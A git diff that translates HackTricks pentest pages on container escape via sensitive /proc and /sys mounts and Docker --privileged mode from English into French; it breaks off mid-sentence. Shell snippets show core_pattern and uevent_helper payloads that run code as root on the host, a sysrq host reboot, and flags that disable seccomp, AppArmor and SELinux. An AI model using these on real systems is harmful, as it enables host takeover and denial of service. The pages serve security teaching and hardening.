- - -(_**This info was taken from**_ [_**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**_](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)) - -Due to the lack of namespace support, the exposure of `/proc` and `/sys` offers a source of significant attack surface and information disclosure. Numerous files within the `procfs` and `sysfs` offer a risk for container escape, host modification or basic information disclosure which could facilitate other attacks. - -In order to abuse these techniques might be enough just to **miss-configure something like `-v /proc:/host/proc`** as AppArmor does not protect `/host/proc` because **AppArmor is path based** +Pour exploiter ces techniques, il pourrait suffire de **mal configurer quelque chose comme `-v /proc:/host/proc`** car AppArmor ne protège pas `/host/proc` car **AppArmor est basé sur le chemin d'accès**. # procfs ## /proc/sys -`/proc/sys` typically allows access to modify kernel variables, often controlled through `sysctl(2)`. +`/proc/sys` permet généralement d'accéder à la modification des variables du noyau, souvent contrôlées via `sysctl(2)`. ### /proc/sys/kernel/core\_pattern -[/proc/sys/kernel/core\_pattern](https://man7.org/linux/man-pages/man5/core.5.html) defines a program which is executed on core-file generation (typically a program crash) and is passed the core file as standard input if the first character of this file is a pipe symbol `|`. This program is run by the root user and will allow up to 128 bytes of command line arguments. This would allow trivial code execution within the container host given any crash and core file generation (which can be simply discarded during a myriad of malicious actions). - +[/proc/sys/kernel/core\_pattern](https://man7.org/linux/man-pages/man5/core.5.html) définit un programme qui est exécuté lors de la génération de fichiers de base (généralement un plantage de programme) et reçoit le fichier de base en entrée standard si le premier caractère de ce fichier est un symbole de tuyau `|`. Ce programme est exécuté par l'utilisateur root et permettra jusqu'à 128 octets d'arguments de ligne de commande. Cela permettrait une exécution de code trivial dans l'hôte de conteneur donné n'importe quel plantage et génération de fichier de base (qui peut être simplement jeté pendant une myriade d'actions malveillantes). ```bash [ -w /proc/sys/kernel/core_pattern ] && echo Yes #For testing cd /proc/sys/kernel echo "|$overlay/shell.sh" > core_pattern sleep 5 && ./crash & ``` - ### /proc/sys/kernel/modprobe -[/proc/sys/kernel/modprobe](https://man7.org/linux/man-pages/man5/proc.5.html) contains the path to the kernel module loader, which is called when loading a kernel module such as via the [modprobe](https://man7.org/linux/man-pages/man8/modprobe.8.html) command. Code execution can be gained by performing any action which will trigger the kernel to attempt to load a kernel module (such as using the crypto-API to load a currently unloaded crypto-module, or using ifconfig to load a networking module for a device not currently used). - +[/proc/sys/kernel/modprobe](https://man7.org/linux/man-pages/man5/proc.5.html) contient le chemin d'accès au chargeur de module du noyau, qui est appelé lors du chargement d'un module du noyau tel que via la commande [modprobe](https://man7.org/linux/man-pages/man8/modprobe.8.html). L'exécution de code peut être obtenue en effectuant toute action qui déclenchera le noyau pour tenter de charger un module du noyau (comme l'utilisation de l'API de cryptographie pour charger un module de cryptographie actuellement non chargé, ou l'utilisation de ifconfig pour charger un module de réseau pour un périphérique actuellement non utilisé). ```bash # Check if you can directly access modprobe ls -l `cat /proc/sys/kernel/modprobe` ``` - ### /proc/sys/vm/panic\_on\_oom -[/proc/sys/vm/panic\_on\_oom](https://man7.org/linux/man-pages/man5/proc.5.html) is a global flag that determines whether the kernel will panic when an Out of Memory (OOM) condition is hit (rather than invoking the OOM killer). This is more of a Denial of Service (DoS) attack than container escape, but it no less exposes an ability which should only be available to the host +[/proc/sys/vm/panic\_on\_oom](https://man7.org/linux/man-pages/man5/proc.5.html) est un indicateur global qui détermine si le noyau doit paniquer lorsqu'une condition de mémoire insuffisante (OOM) est atteinte (plutôt que d'invoquer l'OOM killer). Cela relève davantage d'une attaque de déni de service (DoS) que d'une évasion de conteneur, mais cela expose néanmoins une capacité qui ne devrait être disponible que pour l'hôte. ### /proc/sys/fs -[/proc/sys/fs](https://man7.org/linux/man-pages/man5/proc.5.html) directory contains an array of options and information concerning various aspects of the file system, including quota, file handle, inode, and dentry information. Write access to this directory would allow various denial-of-service attacks against the host. +Le répertoire [/proc/sys/fs](https://man7.org/linux/man-pages/man5/proc.5.html) contient un ensemble d'options et d'informations concernant divers aspects du système de fichiers, notamment les quotas, les poignées de fichiers, les inodes et les informations d'entrée de répertoire. L'accès en écriture à ce répertoire permettrait diverses attaques de déni de service contre l'hôte. ### /proc/sys/fs/binfmt\_misc -[/proc/sys/fs/binfmt\_misc](https://man7.org/linux/man-pages/man5/proc.5.html) allows executing miscellaneous binary formats, which typically means various **interpreters can be registered for non-native binary** formats (such as Java) based on their magic number. You can make the kernel execute a binary registering it as handlers.\ -You can find an exploit in [https://github.com/toffan/binfmt\_misc](https://github.com/toffan/binfmt\_misc): _Poor man's rootkit, leverage_ [_binfmt\_misc_](https://github.com/torvalds/linux/raw/master/Documentation/admin-guide/binfmt-misc.rst)_'s_ [_credentials_](https://github.com/torvalds/linux/blame/3bdb5971ffc6e87362787c770353eb3e54b7af30/Documentation/binfmt\_misc.txt#L62) _option to escalate privilege through any suid binary (and to get a root shell) if `/proc/sys/fs/binfmt_misc/register` is writeable._ +[/proc/sys/fs/binfmt\_misc](https://man7.org/linux/man-pages/man5/proc.5.html) permet d'exécuter des formats binaires divers, ce qui signifie généralement que divers interprètes peuvent être enregistrés pour des formats binaires non natifs (tels que Java) en fonction de leur numéro magique. Vous pouvez faire exécuter un binaire par le noyau en l'enregistrant comme gestionnaire.\ +Vous pouvez trouver une exploitation dans [https://github.com/toffan/binfmt\_misc](https://github.com/toffan/binfmt\_misc) : _Poor man's rootkit, leverage_ [_binfmt\_misc_](https://github.com/torvalds/linux/raw/master/Documentation/admin-guide/binfmt-misc.rst) _option de_ [_credentials_](https://github.com/torvalds/linux/blame/3bdb5971ffc6e87362787c770353eb3e54b7af30/Documentation/binfmt\_misc.txt#L62) _pour escalader les privilèges via n'importe quel binaire suid (et obtenir un shell root) si `/proc/sys/fs/binfmt_misc/register` est accessible en écriture._ -For a more in depth explanation of this technique check [https://www.youtube.com/watch?v=WBC7hhgMvQQ](https://www.youtube.com/watch?v=WBC7hhgMvQQ) +Pour une explication plus détaillée de cette technique, consultez [https://www.youtube.com/watch?v=WBC7hhgMvQQ](https://www.youtube.com/watch?v=WBC7hhgMvQQ) ## /proc/config.gz -[/proc/config.gz](https://man7.org/linux/man-pages/man5/proc.5.html) depending on `CONFIG_IKCONFIG_PROC` settings, this exposes a compressed version of the kernel configuration options for the running kernel. This may allow a compromised or malicious container to easily discover and target vulnerable areas enabled in the kernel. +[/proc/config.gz](https://man7.org/linux/man-pages/man5/proc.5.html) en fonction des paramètres `CONFIG_IKCONFIG_PROC`, cela expose une version compressée des options de configuration du noyau pour le noyau en cours d'exécution. Cela peut permettre à un conteneur compromis ou malveillant de découvrir et de cibler facilement des zones vulnérables activées dans le noyau. ## /proc/sysrq-trigger -`Sysrq` is an old mechanism which can be invoked via a special `SysRq` keyboard combination. This can allow an immediate reboot of the system, issue of `sync(2)`, remounting all filesystems as read-only, invoking kernel debuggers, and other operations. - -If the guest is not properly isolated, it can trigger the [sysrq](https://www.kernel.org/doc/html/v4.11/admin-guide/sysrq.html) commands by writing characters to `/proc/sysrq-trigger` file. +`Sysrq` est un ancien mécanisme qui peut être invoqué via une combinaison spéciale de touches `SysRq`. Cela peut permettre un redémarrage immédiat du système, l'émission de `sync(2)`, le remontage de tous les systèmes de fichiers en lecture seule, l'invocation de débogueurs de noyau et d'autres opérations. +Si l'invité n'est pas correctement isolé, il peut déclencher les commandes [sysrq](https://www.kernel.org/doc/html/v4.11/admin-guide/sysrq.html) en écrivant des caractères dans le fichier `/proc/sysrq-trigger`. ```bash # Reboot the host echo b > /proc/sysrq-trigger ``` - ## /proc/kmsg -[/proc/kmsg](https://man7.org/linux/man-pages/man5/proc.5.html) can expose kernel ring buffer messages typically accessed via `dmesg`. Exposure of this information can aid in kernel exploits, trigger kernel address leaks (which could be used to help defeat the kernel Address Space Layout Randomization (KASLR)), and be a source of general information disclosure about the kernel, hardware, blocked packets and other system details. +[/proc/kmsg](https://man7.org/linux/man-pages/man5/proc.5.html) peut exposer les messages du tampon circulaire du noyau généralement accessibles via `dmesg`. L'exposition de ces informations peut aider à exploiter le noyau, déclencher des fuites d'adresses du noyau (qui pourraient être utilisées pour aider à vaincre la randomisation de l'espace d'adressage du noyau (KASLR)) et être une source de divulgation d'informations générales sur le noyau, le matériel, les paquets bloqués et autres détails du système. ## /proc/kallsyms -[/proc/kallsyms](https://man7.org/linux/man-pages/man5/proc.5.html) contains a list of kernel exported symbols and their address locations for dynamic and loadable modules. This also includes the location of the kernel's image in physical memory, which is helpful for kernel exploit development. From these locations, the base address or offset of the kernel can be located, which can be used to overcome kernel Address Space Layout Randomization (KASLR). +[/proc/kallsyms](https://man7.org/linux/man-pages/man5/proc.5.html) contient une liste de symboles exportés du noyau et de leurs emplacements d'adresse pour les modules dynamiques et chargeables. Cela inclut également l'emplacement de l'image du noyau en mémoire physique, ce qui est utile pour le développement d'exploits du noyau. À partir de ces emplacements, l'adresse de base ou le décalage du noyau peut être localisé, ce qui peut être utilisé pour vaincre la randomisation de l'espace d'adressage du noyau (KASLR). -For systems with `kptr_restrict` set to `1` or `2`, this file will exist but not provide any address information (although the order in which the symbols are listed is identical to the order in memory). +Pour les systèmes avec `kptr_restrict` défini sur `1` ou `2`, ce fichier existera mais ne fournira aucune information d'adresse (bien que l'ordre dans lequel les symboles sont répertoriés soit identique à l'ordre en mémoire). ## /proc/\[pid]/mem -[/proc/\[pid\]/mem](https://man7.org/linux/man-pages/man5/proc.5.html) exposes interfaces to the kernel memory device `/dev/mem`. While the PID Namespace may protect from some attacks via this `procfs` vector, this area of has been historically vulnerable, then thought safe and again found to be [vulnerable](https://git.zx2c4.com/CVE-2012-0056/about/) for privilege escalation. +[/proc/\[pid\]/mem](https://man7.org/linux/man-pages/man5/proc.5.html) expose des interfaces au périphérique de mémoire du noyau `/dev/mem`. Bien que l'espace de noms PID puisse protéger contre certaines attaques via ce vecteur `procfs`, cette zone a historiquement été vulnérable, puis considérée comme sûre et à nouveau trouvée [vulnérable](https://git.zx2c4.com/CVE-2012-0056/about/) pour l'escalade de privilèges. ## /proc/kcore -[/proc/kcore](https://man7.org/linux/man-pages/man5/proc.5.html) represents the physical memory of the system and is in an ELF core format (typically found in core dump files). It does not allow writing to said memory. The ability to read this file (restricted to privileged users) can leak memory contents from the host system and other containers. +[/proc/kcore](https://man7.org/linux/man-pages/man5/proc.5.html) représente la mémoire physique du système et est dans un format de noyau ELF (typiquement trouvé dans les fichiers de vidage de noyau). Il n'autorise pas l'écriture dans ladite mémoire. La capacité de lire ce fichier (restreint aux utilisateurs privilégiés) peut divulguer le contenu de la mémoire du système hôte et d'autres conteneurs. -The large reported file size represents the maximum amount of physically addressable memory for the architecture, and can cause problems when reading it (or crashes depending on the fragility of the software). +La taille de fichier signalée représente la quantité maximale de mémoire physiquement adressable pour l'architecture, et peut causer des problèmes lors de sa lecture (ou des plantages en fonction de la fragilité du logiciel). [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/) ## /proc/kmem -`/proc/kmem` is an alternate interface for [/dev/kmem](https://man7.org/linux/man-pages/man4/kmem.4.html) (direct access to which is blocked by the cgroup device whitelist), which is a character device file representing kernel virtual memory. It allows both reading and writing, allowing direct modification of kernel memory. +`/proc/kmem` est une interface alternative pour [/dev/kmem](https://man7.org/linux/man-pages/man4/kmem.4.html) (l'accès direct à celui-ci est bloqué par la liste blanche du périphérique cgroup), qui est un fichier de périphérique de caractères représentant la mémoire virtuelle du noyau. Il permet à la fois la lecture et l'écriture, permettant la modification directe de la mémoire du noyau. ## /proc/mem -`/proc/mem` is an alternate interface for [/dev/mem](https://man7.org/linux/man-pages/man4/kmem.4.html) (direct access to which is blocked by the cgroup device whitelist), which is a character device file representing physical memory of the system. It allows both reading and writing, allowing modification of all memory. (It requires slightly more finesse than `kmem`, as virtual addresses need to be resolved to physical addresses first). +`/proc/mem` est une interface alternative pour [/dev/mem](https://man7.org/linux/man-pages/man4/kmem.4.html) (l'accès direct à celui-ci est bloqué par la liste blanche du périphérique cgroup), qui est un fichier de périphérique de caractères représentant la mémoire physique du système. Il permet à la fois la lecture et l'écriture, permettant la modification de toute la mémoire. (Il nécessite légèrement plus de finesse que `kmem`, car les adresses virtuelles doivent d'abord être résolues en adresses physiques). ## /proc/sched\_debug -`/proc/sched_debug` is a special file returns process scheduling information for the entire system. This information includes process names and process IDs from all namespaces in addition to process cgroup identifiers. This effectively bypasses the PID namespace protections and is other/world readable, so it can be exploited in unprivileged containers as well. +`/proc/sched_debug` est un fichier spécial qui renvoie des informations de planification de processus pour l'ensemble du système. Ces informations comprennent les noms de processus et les identifiants de processus de tous les espaces de noms en plus des identificateurs de cgroup de processus. Cela contourne efficacement les protections de l'espace de noms PID et peut être exploité dans des conteneurs non privilégiés également. ## /proc/\[pid]/mountinfo -[/proc/\[pid\]/mountinfo](https://man7.org/linux/man-pages/man5/proc.5.html) contains information about mount points in the process's mount namespace. It exposes the location of the container `rootfs` or image. +[/proc/\[pid\]/mountinfo](https://man7.org/linux/man-pages/man5/proc.5.html) contient des informations sur les points de montage dans l'espace de noms de montage du processus. Il expose l'emplacement de `rootfs` ou de l'image du conteneur. # sysfs ## /sys/kernel/uevent\_helper -`uevents` are events triggered by the kernel when a device is added or removed. Notably, the path for the `uevent_helper` can be modified by writing to `/sys/kernel/uevent_helper`. Then, when a `uevent` is triggered (which can also be done from userland by writing to files such as `/sys/class/mem/null/uevent`), the malicious `uevent_helper` gets executed. - +Les `uevents` sont des événements déclenchés par le noyau lorsqu'un périphérique est ajouté ou supprimé. Notamment, le chemin pour le `uevent_helper` peut être modifié en écrivant dans `/sys/kernel/uevent_helper`. Ensuite, lorsqu'un `uevent` est déclenché (ce qui peut également être fait depuis l'espace utilisateur en écrivant dans des fichiers tels que `/sys/class/mem/null/uevent`), le `uevent_helper` malveillant est exécuté. ```bash # Creates a payload cat "#!/bin/sh" > /evil-helper @@ -141,51 +113,48 @@ echo change > /sys/class/mem/null/uevent # Reads the output cat /output ``` - ## /sys/class/thermal -Access to ACPI and various hardware settings for temperature control, typically found in laptops or gaming motherboards. This may allow for DoS attacks against the container host, which may even lead to physical damage. +Accès à ACPI et divers paramètres matériels pour le contrôle de la température, généralement trouvés dans les ordinateurs portables ou les cartes mères de jeux. Cela peut permettre des attaques DoS contre l'hôte du conteneur, ce qui peut même entraîner des dommages physiques. ## /sys/kernel/vmcoreinfo -This file can leak kernel addresses which could be used to defeat KASLR. +Ce fichier peut divulguer des adresses de noyau qui pourraient être utilisées pour vaincre KASLR. ## /sys/kernel/security -In `/sys/kernel/security` mounted the `securityfs` interface, which allows configuration of Linux Security Modules. This allows configuration of [AppArmor policies](https://gitlab.com/apparmor/apparmor/-/wikis/Kernel\_interfaces#securityfs-syskernelsecurityapparmor), and so access to this may allow a container to disable its MAC system. +Dans `/sys/kernel/security` est montée l'interface `securityfs`, qui permet la configuration des modules de sécurité Linux. Cela permet la configuration des politiques [AppArmor](https://gitlab.com/apparmor/apparmor/-/wikis/Kernel\_interfaces#securityfs-syskernelsecurityapparmor), et donc l'accès à cela peut permettre à un conteneur de désactiver son système MAC. ## /sys/firmware/efi/vars -`/sys/firmware/efi/vars` exposes interfaces for interacting with EFI variables in NVRAM. While this is not typically relevant for most servers, EFI is becoming more and more popular. Permission weaknesses have even lead to some bricked laptops. +`/sys/firmware/efi/vars` expose des interfaces pour interagir avec les variables EFI dans la NVRAM. Bien que cela ne soit pas généralement pertinent pour la plupart des serveurs, EFI devient de plus en plus populaire. Des faiblesses de permission ont même conduit à certains ordinateurs portables bloqués. ## /sys/firmware/efi/efivars -`/sys/firmware/efi/efivars` provides an interface to write to the NVRAM used for UEFI boot arguments. Modifying them can render the host machine unbootable. +`/sys/firmware/efi/efivars` fournit une interface pour écrire dans la NVRAM utilisée pour les arguments de démarrage UEFI. Les modifier peut rendre la machine hôte incapable de démarrer. ## /sys/kernel/debug -`debugfs` provides a "no rules" interface by which the kernel (or kernel modules) can create debugging interfaces accessible to userland. It has had a number of security issues in the past, and the "no rules" guidelines behind the filesystem have often clashed with security constraints. +`debugfs` fournit une interface "sans règles" par laquelle le noyau (ou les modules de noyau) peuvent créer des interfaces de débogage accessibles à l'espace utilisateur. Il a eu un certain nombre de problèmes de sécurité dans le passé, et les directives "sans règles" derrière le système de fichiers ont souvent été en conflit avec les contraintes de sécurité. -# References +# Références -* [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf) -* [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf) +* [Comprendre et renforcer les conteneurs Linux](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf) +* [Abus des conteneurs Linux privilégiés et non privilégiés](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
- - diff --git a/linux-hardening/privilege-escalation/docker-security/docker-privileged.md b/linux-hardening/privilege-escalation/docker-security/docker-privileged.md index 4e84ac445..f8319d7a0 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-privileged.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-privileged.md @@ -1,27 +1,27 @@ -# Docker --privileged +## Docker --privileged
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-## What Affects +## Qu'est-ce qui est affecté -When you run a container as privileged these are the protections you are disabling: +Lorsque vous exécutez un conteneur en mode privilégié, vous désactivez les protections suivantes : -### Mount /dev +### Montage /dev -In a privileged container, all the **devices can be accessed in `/dev/`**. Therefore you can **escape** by **mounting** the disk of the host. +Dans un conteneur privilégié, tous les **périphériques peuvent être accédés dans `/dev/`**. Par conséquent, vous pouvez **échapper** en **montant** le disque de l'hôte. {% tabs %} -{% tab title="Inside default container" %} +{% tab title="À l'intérieur du conteneur par défaut" %} ```bash # docker run --rm -it alpine sh ls /dev @@ -30,7 +30,7 @@ core full null pts shm stdin tty zero ``` {% endtab %} -{% tab title="Inside Privileged Container" %} +{% tab title="À l'intérieur du conteneur privilégié" %} ```bash # docker run --rm --privileged -it alpine sh ls /dev @@ -40,15 +40,9 @@ core mqueue ptmx stdin tty26 cpu nbd0 pts stdout tty27 tty47 ttyS0 [...] ``` -{% endtab %} -{% endtabs %} +### Systèmes de fichiers du noyau en lecture seule -### Read-only kernel file systems - -Kernel file systems provide a mechanism for a **process to alter the way the kernel runs.** By default, we **don't want container processes to modify the kernel**, so we mount kernel file systems as read-only within the container. - -{% tabs %} -{% tab title="Inside default container" %} +Les systèmes de fichiers du noyau fournissent un mécanisme permettant à un processus de modifier la façon dont le noyau s'exécute. Par défaut, nous ne voulons pas que les processus de conteneurs modifient le noyau, nous montons donc les systèmes de fichiers du noyau en lecture seule dans le conteneur. ```bash # docker run --rm -it alpine sh mount | grep '(ro' @@ -59,24 +53,22 @@ cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,c ``` {% endtab %} -{% tab title="Inside Privileged Container" %} +{% tab title="À l'intérieur du conteneur privilégié" %} ```bash # docker run --rm --privileged -it alpine sh mount | grep '(ro' ``` {% endtab %} -{% endtabs %} +{% tab title="Masquage des systèmes de fichiers du noyau" %} -### Masking over kernel file systems - -The **/proc** file system is namespace-aware, and certain writes can be allowed, so we don't mount it read-only. However, specific directories in the /proc file system need to be **protected from writing**, and in some instances, **from reading**. In these cases, the container engines mount **tmpfs** file systems over potentially dangerous directories, preventing processes inside of the container from using them. +Le système de fichiers **/proc** est conscient de l'espace de noms et certaines écritures peuvent être autorisées, donc nous ne le montons pas en lecture seule. Cependant, des répertoires spécifiques dans le système de fichiers /proc doivent être **protégés contre l'écriture**, et dans certains cas, **contre la lecture**. Dans ces cas, les moteurs de conteneurs montent des systèmes de fichiers **tmpfs** sur des répertoires potentiellement dangereux, empêchant les processus à l'intérieur du conteneur de les utiliser. {% hint style="info" %} -**tmpfs** is a file system that stores all the files in virtual memory. tmpfs doesn't create any files on your hard drive. So if you unmount a tmpfs file system, all the files residing in it are lost for ever. +**tmpfs** est un système de fichiers qui stocke tous les fichiers en mémoire virtuelle. tmpfs ne crée aucun fichier sur votre disque dur. Donc, si vous démontez un système de fichiers tmpfs, tous les fichiers qui y résident sont perdus pour toujours. {% endhint %} {% tabs %} -{% tab title="Inside default container" %} +{% tab title="À l'intérieur du conteneur par défaut" %} ```bash # docker run --rm -it alpine sh mount | grep /proc.*tmpfs @@ -86,24 +78,22 @@ tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755) ``` {% endtab %} -{% tab title="Inside Privileged Container" %} +{% tab title="À l'intérieur du conteneur privilégié" %} ```bash # docker run --rm --privileged -it alpine sh mount | grep /proc.*tmpfs ``` {% endtab %} -{% endtabs %} +{% tab title="Dans le conteneur par défaut" %} -### Linux capabilities - -Container engines launch the containers with a **limited number of capabilities** to control what goes on inside of the container by default. **Privileged** ones have **all** the **capabilities** accesible. To learn about capabilities read: +Les moteurs de conteneurs lancent les conteneurs avec un **nombre limité de capacités** pour contrôler ce qui se passe à l'intérieur du conteneur par défaut. Les capacités **privilégiées** ont **toutes** les **capacités** accessibles. Pour en savoir plus sur les capacités, consultez : {% content-ref url="../linux-capabilities.md" %} [linux-capabilities.md](../linux-capabilities.md) {% endcontent-ref %} -{% tabs %} -{% tab title="Inside default container" %} +{% endtab %} +{% endtabs %} ```bash # docker run --rm -it alpine sh apk add -U libcap; capsh --print @@ -114,7 +104,7 @@ Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setg ``` {% endtab %} -{% tab title="Inside Privileged Container" %} +{% tab title="À l'intérieur du conteneur privilégié" %} ```bash # docker run --rm --privileged -it alpine sh apk add -U libcap; capsh --print @@ -124,20 +114,19 @@ Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fset [...] ``` {% endtab %} -{% endtabs %} - -You can manipulate the capabilities available to a container without running in `--privileged` mode by using the `--cap-add` and `--cap-drop` flags. +{% tab title="Sécurité Docker" %} +Vous pouvez manipuler les capacités disponibles pour un conteneur sans exécuter en mode `--privileged` en utilisant les indicateurs `--cap-add` et `--cap-drop`. ### Seccomp -**Seccomp** is useful to **limit** the **syscalls** a container can call. A default seccomp profile is enabled by default when running docker containers, but in privileged mode it is disabled. Learn more about Seccomp here: +**Seccomp** est utile pour **limiter** les **appels système** qu'un conteneur peut effectuer. Un profil Seccomp par défaut est activé par défaut lors de l'exécution de conteneurs Docker, mais en mode privilégié, il est désactivé. En savoir plus sur Seccomp ici: {% content-ref url="seccomp.md" %} [seccomp.md](seccomp.md) {% endcontent-ref %} {% tabs %} -{% tab title="Inside default container" %} +{% tab title="À l'intérieur du conteneur par défaut" %} ```bash # docker run --rm -it alpine sh grep Seccomp /proc/1/status @@ -146,57 +135,52 @@ Seccomp_filters: 1 ``` {% endtab %} -{% tab title="Inside Privileged Container" %} +{% tab title="À l'intérieur du conteneur privilégié" %} ```bash # docker run --rm --privileged -it alpine sh grep Seccomp /proc/1/status Seccomp: 0 Seccomp_filters: 0 ``` +{% endtab %} +{% endtabs %} + {% endtab %} {% endtabs %} +Dans le cas où vous devez utiliser `--privileged` pour exécuter un conteneur, il est recommandé de limiter les capacités du conteneur en utilisant `--cap-drop` et `--cap-add`. Par exemple, si vous avez besoin de monter un système de fichiers, vous pouvez ajouter la capacité `SYS_ADMIN` avec `--cap-add SYS_ADMIN` au lieu d'utiliser `--privileged`. + +De plus, il est recommandé de ne pas exécuter de conteneurs avec `--privileged` sur des hôtes partagés ou des hôtes qui exécutent des charges de travail non fiables. Cela peut entraîner des fuites de données et des compromis de sécurité. ```bash # You can manually disable seccomp in docker with --security-opt seccomp=unconfined ``` +Notez également que lorsque Docker (ou d'autres CRIs) est utilisé dans un cluster **Kubernetes**, le filtre **seccomp** est désactivé par défaut. -Also, note that when Docker (or other CRIs) are used in a **Kubernetes** cluster, the **seccomp filter is disabled by default** - -### AppArmor - -**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**. When you run with the `--privileged` flag, this protection is disabled. - -{% content-ref url="apparmor.md" %} -[apparmor.md](apparmor.md) -{% endcontent-ref %} - +**AppArmor** est une amélioration du noyau pour confiner les **conteneurs** à un ensemble **limité** de **ressources** avec des **profils par programme**. Lorsque vous exécutez avec le drapeau `--privileged`, cette protection est désactivée. ```bash # You can manually disable seccomp in docker with --security-opt apparmor=unconfined ``` - ### SELinux -When you run with the `--privileged` flag, **SELinux labels are disabled**, and the container runs with the **label that the container engine was executed with**. This label is usually `unconfined` and has **full access to the labels that the container engine does**. In rootless mode, the container runs with `container_runtime_t`. In root mode, it runs with `spc_t`. +Lorsque vous exécutez avec le drapeau `--privileged`, **les étiquettes SELinux sont désactivées**, et le conteneur s'exécute avec l'**étiquette avec laquelle le moteur de conteneur a été exécuté**. Cette étiquette est généralement `unconfined` et a **un accès complet aux étiquettes que le moteur de conteneur a**. En mode sans privilège, le conteneur s'exécute avec `container_runtime_t`. En mode root, il s'exécute avec `spc_t`. {% content-ref url="../selinux.md" %} [selinux.md](../selinux.md) {% endcontent-ref %} - ```bash # You can manually disable selinux in docker with --security-opt label:disable ``` +## Ce qui n'est pas affecté -## What Doesn't Affect +### Espaces de noms -### Namespaces - -Namespaces are **NOT affected** by the `--privileged` flag. Even though they don't have the security constraints enabled, they **do 